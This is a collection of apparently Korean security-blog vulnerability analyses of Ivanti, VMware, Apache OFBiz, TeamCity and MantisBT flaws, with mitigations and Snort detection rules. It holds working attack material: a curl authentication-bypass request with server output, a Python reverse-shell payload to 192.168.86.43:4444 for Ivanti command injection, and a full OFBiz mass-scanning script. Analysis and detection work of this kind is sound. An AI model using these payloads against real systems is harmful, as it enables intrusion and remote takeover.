1. Ivanti [1]

- 미국 유타주 사우스 조단에 본사를 둔 IT 소프트웨어 회사
- IT 보안, IT 서비스 관리, IT 자산 관리, 통합 엔드포인트 관리, ID 관리 및 공급망 관리용 소프트웨어를 생산

 

2. 취약점

- CISA에서 해당 취약점과 관련된 광범위한 악용에 따른 지침 발표 [2][3]

 

2.1 CVE-2023-46805

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-46805 [4]

 

- 취약한 버전의 Ivanti Connect Secure, Ivanti Policy Secure에서 발생하는 인증 우회 취약점

> 원격의 공격자가 인증을 우회하여 제한된 리소스에 액세스할 수 있음

> 악용에 성공한 공격자는 이후 CVE-2024-21887 (명령 주입 취약점, CVSS:9.1)로 추가 익스플로잇 가능

영향받는 버전: Ivanti Connect Secure 및 Ivanti Policy Secure 9.x, 22.x

 

 

- 해당 취약점은 /api/v1/totp/user-backup-code 엔드포인트에서 발생 [5]

> 서버에 요청이 전달되기 전 URI를 테스트하여 인증 필요 여부를 확인하는 doAuthCheck() 존재

> 해당 함수에서 /api/v1/totp/user-backup-code 등 특정 경로의 경우 인증이 강제되지 않음

> 이후 해당 요청은 Python 백엔드 REST 서버로 전달

// web!doAuthCheck
bool __cdecl doAuthCheck(DSLog::Debug *a1, unsigned int *a2)
{
  // ...snip...
  uri_path = a1->uri_path;
  if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
    || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
    || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
    || !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
    || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // <---
    || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
    || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
    || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
  {
    return 1; // <---
  }
  // ...go on and enforce authentication...

 

- /api/v1/totp/user-backup-code 및 추가 문자를 입력해 요청을 전송할 경우 인증을 우회해 제한된 리소스에 액세스 가능

> /api/v1/system/system-information에 접근해 시스템 정보를 반환

> Python REST 백엔드의 모든 엔드포인트에 액세스할 수 있으며 RCE 등 추가 익스플로잇이 가능

$ curl -ik --path-as-is https://[Target IP]/api/v1/totp/user-backup-code/../../system/system-information
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 297

{"software-inventory":{"software":{"build":"1647","name":"IVE-OS","type":"operating-system","version":"22.3R1"}},"system-information":{"hardware-model":"ISA-V","host-name":"localhost2","machine-id":"*****************","os-name":"ive-sa","os-version":"22.3R1","serial-number":"*****************"}}

 

2.1.1 CVE-2024-21887

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-21887 [6]

 

- CVE-2023-46805 익스플로잇에 성공한 공격자가 원격 명령을 실행할 수 있게 되는 취약점 (CVSS: 9.1)

> 영향받는 버전은 CVE-2023-46805과 동일

 

- 해당 취약점은 /api/v1/license/keys-status 엔드포인트를 이용

> restservice/api/resources/license.py: 요청이 /api/v1/license/keys-status로 시작할 경우 명령을 처리

> 두 취약점 악용을 위한 PoC 존재 [7]

class License(Resource):
    """
    Handles requests that are coming for licensing APIs
    For now the only API is license/auth-code
    """

    # ...snip...

    def get(self, url_suffix=None, node_name=None):
        if request.path.startswith("/api/v1/license/keys-status"):
            try:
                dsinstall = os.environ.get("DSINSTALL")
                if node_name == None:
                    node_name = ""
                proc = subprocess.Popen(
                    dsinstall
                    + "/perl5/bin/perl"
                    + " "
                    + dsinstall
                    + "/perl/getLicenseCapacity.pl"
                    + " getLicenseKeys "
                    + node_name, # <---
                    shell=True,
                    stdout=subprocess.PIPE,
                )

 

- 아래 명령을 인코딩하여 페이로드 전송

Payload: ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.86.43",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
URL: [Target IP]/api/v1/totp/user-backup-code/../../license/keys-status/[Encoded Payload]

 

[사진 3] 익스플로잇 결과

 

2.2 CVE-2023-35082

[사진 4] https://nvd.nist.gov/vuln/detail/CVE-2023-35082 [8]

 

- 취약한 버전의 Ivanti EPMM/MobileIron Core에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> 관리 서버의 API 엔드포인트에 엑세스할 수 있으며, 개인 식별 정보 접근 및 플랫폼 변경 등 여러 작업 수행 가능

> CVE-2023-35078

영향받는 버전
① EPMM 11.8 ~ 11.10
② MobileIron Core 11.7 이하

 

- 구체적인 내용은 확인되지 않으나 구글링 및 PoC 결과 2가지 API를 사용하는 것으로 판단됨 [9][10]

API 설명
/mifs/asfV3/api/v2/ping API 버전
/mifs/asfV3/api/v2/admins/users 사용자 정보

 

[사진 5] 익스플로잇 결과

3. 대응방안

- 벤더사 제공 업데이트 제공 [11][12]

> CVE-2023-46805, CVE-2024-21887의 경우 아직 패치 개발중으로 01/22~02/19까지 버전 간 시차를 두고 출시 예정 [13]

※ 두 취약점의 경우 벤더사 홈페이지를 통해 임시 완화 조치 적용 [14]

> CVE-2023-35082의 경우 11.2 이하 버전은 지원 중단되었으며, 11.3 ~ 11.10 버전 RPM 스크립트 적용 참고 [15]

취약점 제품명 영향받는 버전 해결 버전
CVE-2023-46805 Ivanti Connect Secure
Ivanti Policy Secure
9.x
22.x
-
CVE-2024-21887
CVE-2023-35082 EPMM (Ivanti Endpoint Manager Mobile) 11.8 ~ 11.10 11.11.0.0
MobileIron Core 11.7 이하

 

- Mandiant에서 취약점을 악용한 공격에 대한 침해지표를 제공 [16]

 

- 탐지 패턴 적용

취약점 패턴
CVE-2023-46805 api/v1/totp/user-backup-code
CVE-2024-21887
CVE-2023-35082 mifs/asfV3/api/v2

 

4. 참고

[1] https://www.ivanti.com/
[2] https://www.cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure-vulnerabilities
[3] https://www.cisa.gov/news-events/news/cisa-issues-emergency-directive-requiring-federal-agencies-mitigate-ivanti-connect-secure-and-policy
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-46805
[5] https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis?referrer=etrblog
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-21887
[7] https://github.com/duy-31/CVE-2023-46805_CVE-2024-21887
[8] https://nvd.nist.gov/vuln/detail/CVE-2023-35082
[9] https://threatprotect.qualys.com/2023/08/03/ivanti-endpoint-manager-mobile-epmm-remote-unauthenticated-api-access-vulnerability-cve-2023-35082/
[10] https://github.com/Chocapikk/CVE-2023-35082
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71292
[12] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71301
[13] https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
[14] https://success.ivanti.com/customers/Community_RegStep1_Page?inst=UL&startURL=%2Fservlet%2Fnetworks%2Fswitch%3FnetworkId%3D0DB1B000000PBGy%26startURL%3D%2Fs%2Farticle%2FDownload-Links-Related-to-CVE-2023-46805-and-CVE-2024-21887
[15] https://forums.ivanti.com/s/article/KB-Remote-Unauthenticated-API-Access-Vulnerability-CVE-2023-35082?language=en_US
[16] https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day
[17] https://www.boannews.com/media/view.asp?idx=125833&page=19&kind=1
[18] https://www.boannews.com/media/view.asp?idx=126053&page=9&kind=1

[19] https://www.boannews.com/media/view.asp?idx=126245&page=1&kind=1

1. Aria Automation [1]

- 클라우드 환경에서 애플리케이션을 구축하고 관리할 수 있는 자동화 플랫폼

- 사용자가 지정한 리소스를 퍼블릭·프라이빗 클라우드에 배포하는 기능을 담당

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-34063 [2]

 

- 취약한 버전의 Aria Automation에 접근 제어가 누락되어 발생하는 취약점 (CVSS: 9.9)

> 공격자는 취약점을 악용해 원격 조직 및 작업 흐름에 대한 무단 액세스가 가능

> 현재 공격에 악용되었다는 증거는 없으나, 최대한 빠른 패치를 권고

> CISA는 해당 취약점에 대한 경고를 발행 [3]

영향받는 버전
① VMware Aria Automation(이전 vRealize Automation) 8.14.x, 8.13.x, 8.12.x, 8.11.x 버전
② VMware Cloud Foundation(Aria Automation) 5.x, 4.x 버전 

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [4][5][6][7]

제품명 영향받는 버전 해결 버전
VMware Aria Automation 8.14.x 8.14.1+
8.13.x 8.13.1+
8.12.x 8.12.2+
8.11.x 8.11.2+
VMware Cloud Foundation(Aria Automation) 5.x, 4.x KB96136

 

4.참고

[1] https://www.vmware.com/kr/products/aria-automation.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-34063
[3] https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation
[4] https://www.vmware.com/security/advisories/VMSA-2024-0001.html
[5] https://kb.vmware.com/s/article/96098
[6] https://kb.vmware.com/s/article/96136
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71298&menuNo=205020
[8] https://socradar.io/patches-available-for-a-critical-vulnerability-in-vmware-aria-automation-cve-2023-34063/
[9] https://github.com/advisories/GHSA-fcww-v4hr-rgfr
[10] https://thehackernews.com/2024/01/citrix-vmware-and-atlassian-hit-with.html
[11] https://www.securityweek.com/vmware-urges-customers-to-patch-critical-aria-automation-vulnerability/
[12] https://securityonline.info/cve-2023-34063-cvss-9-9-a-critical-flaw-in-vmware-aria-automation/
[13] https://www.boannews.com/media/view.asp?idx=125955&page=2&kind=1

1. Apache OfBiz [1]

- 오픈 소스 ERP(Enterprise Resource Planning) 시스템

- ERP(Enterprise Resource Planning, 전사적자원관리 ) : 재고, 회계, 인사, 급여 등 기업의 모든 업무를 통합해 관리할 수 있는 시스템

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-51467 [2]

 

- 로그인 기능에서 발생하는 인증 우회 취약점 (CVSS: 9.8)

> CVE-2023-49070에 대한 불완전한 패치로 인한 인증 우회 취약점

> 취약점을 악용에 성공한 공격자는 SSRF 공격을 수행할 수 있게 됨

영향받는 버전
- Apache OFbiz 18.12.11 이전 버전

 

CVE-2023-49070 [3]
- 인증되지 않은 공격자가 인증 과정을 우회하여 원격 명령을 실행할 수 있게되는 취약점 (CVSS: 9.8)
더 이상 사용 및 유지되지 않는 Apache XML-RPC 구성요소가 포함되어 있어 발생 [4][5]
사용하지 않는 XML-RPC 관련 코드를 제거하여 패치 제공 [6]
- PoC: /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y [7]
- 영향받는 버전: Apache OFBIz 18.12.10 이전 버전

 

2.1 취약점 상세

- LoginWorker.java 파일의 requirePasswordChange 매개변수에 의해 발생 [8][9]

> 매개변수 USERNAME, PASSWARD는 공백 또는 임의의값requirePasswordChange는 Y로 설정하여 요청 전송

 

2.1.1 케이스 ①

- USERNAME 및 PASSWARD는 공백, requirePasswordChange는 Y로 설정한 경우

※ Java에서 공백(빈값으로 초기화되어 메모리 할당)과 Null(초기화되지 않은 상태)은 서로 다른 값

Target_URL/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y

 

- login 함수(LoginWorker.java 파일 #437 ~ #448)는 requirePasswordChange 값을 반환 [10]

List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, “loginevents.username_was_empty_reenter”, UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, “loginevents.password_was_empty_reenter”, UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = “Y”.equals(request.getParameter(“requirePasswordChange”));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute(“_ERROR_MESSAGE_LIST_”, unpwErrMsgList);
return requirePasswordChange ? “requirePasswordChange” : “error”;
}

 

- 그 후, login 함수의 반환 값이 checkLogin 함수(LoginWorker.java 파일 #343 ~ #346) 에 전달

> 결과적으로 "success"를 반환하여 인증을 우회 [11]

if (userLogin == null) {
// check parameters
username = request.getParameter(“USERNAME”);
password = request.getParameter(“PASSWORD”);
token = request.getParameter(“TOKEN”);
// check session attributes
if (username == null) username = (String) session.getAttribute(“USERNAME”);
if (password == null) password = (String) session.getAttribute(“PASSWORD”);
if (token == null) token = (String) session.getAttribute(“TOKEN”);
if (username == null || (password == null && token == null) || “error”.equals(login(request, response))) {

 

2.1.2 케이스 ②

- USERNAME 및 PASSWARD는 임의의 값, requirePasswordChange는 Y로 설정한 경우

Target_URL/webtools/control/ping?USERNAME=test&PASSWORD=test&requirePasswordChange=Y

 

- login 함수(LoginWorker.java 파일 #601 ~ #605)는 requirePasswordChange 값을 반환 [12]

> 결과적으로 "success"를 반환하여 인증을 우회

} else {
Map<String, String> messageMap = UtilMisc.toMap(“errorMessage”, (String) result.get(ModelService.ERROR_MESSAGE));
String errMsg = UtilProperties.getMessage(resourceWebapp, “loginevents.following_error_occurred_during_login”, messageMap, UtilHttp.getLocale(request));
request.setAttribute(“_ERROR_MESSAGE_”, errMsg);
return requirePasswordChange ? “requirePasswordChange” : “error”;
}

 

2.2 PoC [13]

- 대상 URL 취약점에 영향받는지 확인하는 스캐너
> 매개변수를 USERNAME, PASSWORD, requirePasswordChange 조작하여 요청 전송

import os
import argparse
import requests
import concurrent.futures

from threading import Lock
from rich.console import Console
from typing import List, Optional
from urllib.parse import urlparse
from alive_progress import alive_bar
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
console = Console()


class CVE_2023_51467:
    def __init__(self, urls: List[str], threads: int, output_file: str):
        self.urls = urls
        self.threads = threads
        self.output_file = output_file
        self.file_lock = Lock()

    def check_url(self, base_url: str) -> Optional[str]:
        parsed_url = urlparse(base_url)
        schemes = ["http", "https"] if not parsed_url.scheme else [parsed_url.scheme]
        for scheme in schemes:
            url = f"{scheme}://{parsed_url.netloc}{parsed_url.path}"
            if self.is_url_accessible(url):
                return url
        return None

    def is_url_accessible(self, url: str) -> bool:
        try:
            response = requests.head(url, verify=False, timeout=5, allow_redirects=True)
            return response.status_code < 500
        except requests.RequestException:
            return False

    def scan_url(self, base_url: str):
        target_url = self.check_url(base_url)

        if target_url:
            try:
                response = requests.get(
                    f"{target_url}/webtools/control/ping?USERNAME&PASSWORD=test&requirePasswordChange=Y",
                    verify=False,
                    timeout=10,
                    allow_redirects=True,
                )

                if response.status_code == 200 and "PONG" in response.text:
                    console.log(
                        f"Vulnerable URL found: {base_url}, Response: {response.text.strip()}"
                    )
                    vulnerable_url = f"{urlparse(target_url).scheme}://{urlparse(target_url).netloc}\n"
                    with self.file_lock:
                        with open(self.output_file, "a") as file:
                            file.write(vulnerable_url)
            except Exception as e:
                console.log(f"Error scanning {base_url}: {e}")

    def run(self):
        with alive_bar(len(self.urls), enrich_print=False) as bar:
            with concurrent.futures.ThreadPoolExecutor(
                max_workers=self.threads
            ) as executor:
                future_to_url = {
                    executor.submit(self.scan_url, url): url for url in self.urls
                }
                for _ in concurrent.futures.as_completed(future_to_url):
                    bar()


def main():
    script_name = os.path.basename(__file__)
    parser = argparse.ArgumentParser(
        description="CVE-2023-51467 Scanner: Scans URLs for a specific vulnerability associated with CVE-2023-51467.",
        epilog=f"Example usage:\n"
        f"    python {script_name} -u http://example.com\n"
        f"    python {script_name} -f urls.txt -o output.txt -t 50",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument("-u", "--url", help="Single URL to send GET request to")
    parser.add_argument(
        "-f", "--file", help="File containing list of base URLs to scan"
    )
    parser.add_argument(
        "-o",
        "--output",
        default="output.txt",
        help="File to write vulnerable systems to",
    )
    parser.add_argument(
        "-t",
        "--threads",
        type=int,
        default=10,
        help="Number of concurrent threads to use",
    )
    args = parser.parse_args()

    urls = []
    if args.file:
        with open(args.file, "r") as file:
            urls = [line.strip() for line in file]
    elif args.url:
        urls.append(args.url)
    else:
        console.log("No URL or file provided")
        return

    scanner = CVE_2023_51467(urls, args.threads, args.output)
    scanner.run()


if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [14]

> login 함수에 requirePasswordChange 값 대신 Error Message를 출력하도록 변경

> checkLogin 함수에 UtilValidate.isEmpty() 함수를 추가해 빈 값 여부 확인

제품명 영향받는 버전 해결 버전
Apache OFBiz 18.12.11 이전 버전 18.12.11

 

- 탐지 정책 적용 등 모니터링 수행

alert tcp any any -> any any (msg:"CVE-2023-51467 Apache OFBiz"; flow:to_server,established; content:"GET"; http_method; content:"/webtools/control/"; http_uri; content:"USERNAME="; http_uri; content:"&PASSWORD="; http_uri; content:"&requirePasswordChange=Y"; http_uri; rev:1;)

 

4. 참고

[1] https://ofbiz.apache.org/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-51467
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-49070
[4] https://issues.apache.org/jira/plugins/servlet/mobile#issue/OFBIZ-12812
[5] https://github.com/advisories/GHSA-6vwp-35w3-xph8
[6] https://github.com/apache/ofbiz-framework/commit/c59336f604
[7] https://twitter.com/Siebene7/status/1731870759130427726
[8] https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/
[9] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java
[10] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L391C5-L607C6
[11] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L323C5-L381C6
[12] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L601C11-L605C78
[13] https://github.com/Chocapikk/CVE-2023-51467
[14] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71272&menuNo=205020
[15] https://www.boannews.com/media/view.asp?idx=125343&page=1&kind=1

1. TeamCity

- JetBrains社에서 개발한 CI/CD(Continuous Integration/Continuous Delivery)

 

1.1 CI/CD (Continuous Integration/Continuous Delivery) [1][2]

- 소프트웨어 제공을 위한 일반적인 과정을(빌드(Build)-테스트(Test)-릴리스(Release)-배포(Deploy)) 자동화한 것

애플리케이션 개발 단계부터 배포까지 모든 단계를 자동화하여 효율적이고 빠르게 사용자에게 배포할 수 있음

 

1.1.1 CI (Continuous Integration, 지속적 통합)

- 빌드/테스트 자동화 과정

- 코드 변경 사항이 정기적으로 빌드 및 테스트되어 공유 리포지토리에 통합

커밋할 때마다 빌드와 일련의 자동 테스트가 이루어져 동작을 확인하고 변경으로 인한 문제가 없도록 보장

> 여러 명의 개발자가 동시에 코드 작업을 할 경우 발생할 수 있는 충돌 문제와 시간이 오래걸리는 문제를 해결

> 소스/버전 관리 시스템에 대한 변경 사항을 정기적으로 커밋하여 모든 사람들에게 동일 작업 기반을 제공

 

1.1.2 CD (Continuous Delivery, 지속적 제공)

- 배포 자동화 과정

- Continuous Deployment(지속적인 배포)를 의미하기도 하며, 두 용어는 상호 교환적으로 사용

파이프라인의 이전 단계(CI 단계)를 모두 성공적으로 통과하면 수동 개입 없이 자동으로 배포

> 품질 저하 없이 최대한 빨리 사용자에게 새로운 기능을 제공할 수 있음

 

[사진 1] CI/CD

2. 취약점

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2023-42793 [2]

- JetBrains TeamCity 2023.05.4 이전 버전에서 발생하는 인증 우회 취약점

> 인증 우회 후 원격 명령을 실행할 수 있게됨

- 다이아몬드슬릿(Diamond Sleet)과 오닉스슬릿(Onyx Sleet)으로 불리는 북한 APT 조직들이 활발히 익스플로잇 하는 것으로 조사

> 취약점을 악용해 백도어와 멀웨어를 피해자 시스템에 유포해 모니터링, 정보 탈취 등 악성 행위 수행

※ 다이아몬드슬릿: 전 세계 IT, 미디어, 국방 분야 공략
※ 오닉스플릿: 미국, 한국, 인도의 IT, 국방 분야 공략

영향받는 버전
- JetBrains TeamCity 2023.05.4 이전 버전
※ TeamCity 버전은 로그인 페이지 하단에 표시되어, 공격자들은 손 쉽게 버전을 확인할 수 있음

 

2.1 취약점 상세 [4][5]

- TeamCity는 외부 응용 프로그램을 통합하기 위한 REST API를 제공

> /app/rest/users/<userLocator>/tokens 경로를 통해 사용자 인증 토큰을 생성

> {name} 매개변수를 통해 토큰에 대한 이름을 추가로 생성할 수 있음

 

[사진 3] 사용자 인증 토큰 생성

 

- TeamCity는 요청 인터셉터(RequestInterceptors 클래스)를 사용해 모든 HTTP 요청에 대해 특정 작업을 수행

> 특정 작업 중 하나가 권한 부여 매커니즘

 

- 요청이 발생하면 해당 클래스의 preHandle 메서드가 호출

> preHandle 메서드requestPreHandlingAllowed를 호출요청이 사전 처리에 적합한지 여부를 결정

 

[사진 4] preHandle

 

- requestPreHandlingAllowed 메서드요청된 경로가 사전 정의된 경로 목록과 일치 여부 확인

 

[사진 5] requestPreHandlingAllowed

 

- RequestInterceptors 클래스에는 두 개의 사전 정의된 표현식이 존재

① /**/RPC2

② /app/agents/**

 

[사진 6] 사전 정의된 경로 표현식

 

- 공격자는 경로 "/**/RPC2"를 만족하는 요청을 전송할 경우 인증을 우회할 수 있게됨 [6]

> [사진 3]에 의해 /app/rest/users/<userLocator>/tokens/{name}의 형태로 요청

> <userLocator>은 인증 토큰으로, 사용자마다 고유한 값을 가지는 것으로 판단됨 (ex. admin 계정의 경우 id:1)

> [사진 4] ~ [사진 6]에 의해 {name} 매개변수의 값으로 RPC2 지정

> 공격자의 요청은 /app/rest/users/id:1/tokens/RPC2 형태로, 서버는 관리자 권한을 지닌 새로 생성된 토큰을 반환

> 공격자는 반환된 토큰을 이용해 새로운 관리자 계정을 생성하는 등 추가 익스플로잇이 가능해짐

※ [사진 4]의 requestPreHandlingAllowed 메서드가 false를 반환하며, ! 연산에 의해 true가 되어 if 문을 만족해 이후 권한 부여 등 인증 과정을 우회할 수 있게됨

 

[사진 7] 과정 요약

 

- 취약점 시연 영상 [6]

 

[영상 1] 취약점 시연 동영상

 

3. 대응방안

① 최신 버전 업데이트 적용 [7]

> 23.09.18 취약점을 수정을 포함한 2023.05.04 버전 배포

> 사전 정의된 요청 경로 중 /**/RPC2를 제거

제품명 영향받는 버전 해결 버전
JetBrains TeamCity 2023.05.04 이전 버전 2023.05.04 

 

[사진 8] 수정 내역

 

4. 참고

[1] https://seosh817.tistory.com/104
[2] https://jud00.tistory.com/entry/CICD%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%BC%EA%B9%8C
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-42793
[4] https://www.sonarsource.com/blog/teamcity-vulnerability/#indicators-of-compromise
[5] https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis
[6] https://www.youtube.com/watch?v=O2p-6I8RK5c
[7] https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71212
[9] https://www.boannews.com/media/view.asp?idx=122862&page=1&kind=1

1. VMware 

- 클라우드 컴퓨팅 및 가상화 소프트웨어를 판매하는 기업

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-31656

- VM 제품군의 UI에 네트워크 액세스 권한이 있는 공격자가 인증 없이 관리자 권한을 얻을 수 있는 취약점 (CVSS 9.8)

영향받는 버전
- VMware Workspace ONE Access 21.08.0.0
- VMware Workspace ONE Access 21.08.0.1
- VMware Workspace ONE Access Connector 22.05
- VMware Workspace ONE Access Connector 21.08.0.0
- VMware Workspace ONE Access Connector 21.08.0.1

- VMware Identity Manager 3.3.4 ~ 3.3.6
- VMware Identity Manager Connector 3.3.4 ~ 3.3.6
- VMware Identity Manager Connector 19.03.0.1

- VMware vRealize Automation 8.x
- VMware vRealize Automation 7.6

- VMware Cloud Foundation (vIDM) 4.2.x, 4.3.x, 4.4.x
- VMware Cloud Foundation (vRA) 3.x

- vRealize Suite Lifecycle Manager (vIDM) 8.x

 

2.1 분석

- VMware 제품의 JAVA 웹에는 다양한 필터 계층이 존재함

- 그 중 UrlRewriteFilter 계층사전 정의된 규칙을 기반으로 내부 서블릿에 요청을 매핑하는 역할을 수행(WEB-INF/urlrewrite.xml)

 

- 아래 [사진 2]에서 처럼 요청 중 정규식 "^/t/([^/])($|/)(((?!META-INF| WEB-INF).))$"에 일치하는 경로가 "/$3" 에 매핑됨.

※ WEB-INF 및 META-INF 폴더의 파일에 접근 가능한 CVE-2021-26085, CVE-2021-26086 취약점과 유사

- 정규식에의해 "/SAAS/t/_/;/WEB-INF/web.xml" 와 같이 요청하면 "/WEB-INF/web.xml"에 매핑됨

[사진 2] UrlRewriteFilter 규칙 및 매핑

 

- 이후 UrlRewrite.NormalRewrittenUrl.doRewrite() > getRequestDispatcher() 순으로 호출

- getRequestDispatcher()는 한 서블릿에서 다른 서블릿으로 요청을 포워드하는 기능을 제공

- 정규식에 의해 매핑된 /WEB-INF/web.xml를 인자로 사용하여 해당 자원에 액세스가 가능해짐

※ [사진 3]에서 CVE-2022-22972(VMware 인증 우회 취약점)에 대해 적용된 패치

[사진 3] 동작과정 정리

 

- 공격자들을 /SAAS/t/_/;/auth/login/embeddedauthbroker/callback URL로 요청하여 Exploit 수행

[사진 4] PoC 화면

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 패치 적용

 

VMware Knowledge Base

 

kb.vmware.com

 

3.2 네트워크 측면

① 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용

- /SAAS/t/_/;/

alert tcp any any -> any any (msg:"VMware Auth Bypass Detected (CVE-2022–31656)"; content:"POST /SAAS/t/_/;/"; depth:17;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-31656

https://kb.vmware.com/s/article/89096

https://www.vmware.com/security/advisories/VMSA-2022-0021.html

- https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd

- https://research.kudelskisecurity.com/2022/08/10/critical-vmware-authentication-bypass-and-rce-vulnerabilities-cve-2022-31656-and-cve-2022-31659/

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66856&queryString=cGFnZT0yJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9 

1. Mantis BT

- Mantis Bug Tracker는 무료 오픈 소스 웹 기반 버그 추적 시스템
- MantisBT의 가장 일반적인 용도는 소프트웨어 결함을 추적하는 것

 

Mantis Bug Tracker

Email Notifications Keep your team and clients updated with notifications on issue updates, resolution, or comments.

www.mantisbt.org

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2017-7615

- Mantis 계정 확인 페이지 'verify.php'에서 모든 사용자의 비밀번호를 재설정할 수 있는 취약점

영향받는 버전 : MantisBT 2.3.0 및 이전 버전

 

2.1 분석

- 공격자는 [사진 2]처럼 verify.php에 매개변수를 조작하여 패킷을 전송

① id 매개변수 값을 1로 설정

② confirm_hash 값을 빈 값으로 설정

[사진 2] Exploit 예시

 

- 먼저, verify.php 파일에서 if문을 통해 사용자 계정 확인 시도.

- [사진 3]에서 confirm_hash 값이 비어있는 경우에 대한 검증이 없어 조건문 우회가 가능함.

[사진 3] verify.php

 

- 또한, [사진 3]에서 auth_attemp_script_login(); 함수 호출 흐름은 다음과 같음

auth_attempt_script_login(user_get_field($f_user_id, 'username'));

user_get_row

user_cache_row

 

- user_cache_row()는 기존 사용자 정보를 DB에서 가져와, 요청 받은 계정에 대한 $t_user_row(행번호) 반환

※ 유효한 $t_user_row(행번호) 값을 반환 받지 못하면 에러 발생

- 일반적으로 시스템에는 최소한 한개의 관리자가 존재하므로, id 매개변수 값을 1로 설정

[사진 4] user_cache_row()

 

- verify.php는 마지막으로 사용자에게 인증 토큰을 반환

[사진 5] 인증 토큰

 

- 이후, 공격자는 account_update.php 요청을 통해 관리자 계정(혹은 사용자 계정)의 비밀번호 재설정 수행

※ account_update_token가 일치하지 않는, 즉 유효한 토큰이 없으면 오류를 반환

[사진 6] Exploit 예시

 

- 최종적으로, account_update.php에서 비밀번호가 재설정됨

UPDATE mantis222_user_table222 SET password=root, cookie_string=XFf3oXAaubj6XafrescDZ702IJeWIA1kecS7KoKvqFge_skYnK2QPVHR6Im5FXcq WHERE id=1

 

- 위 과정을 정리하면. [사진 7]과 같음

[사진 7] 정리

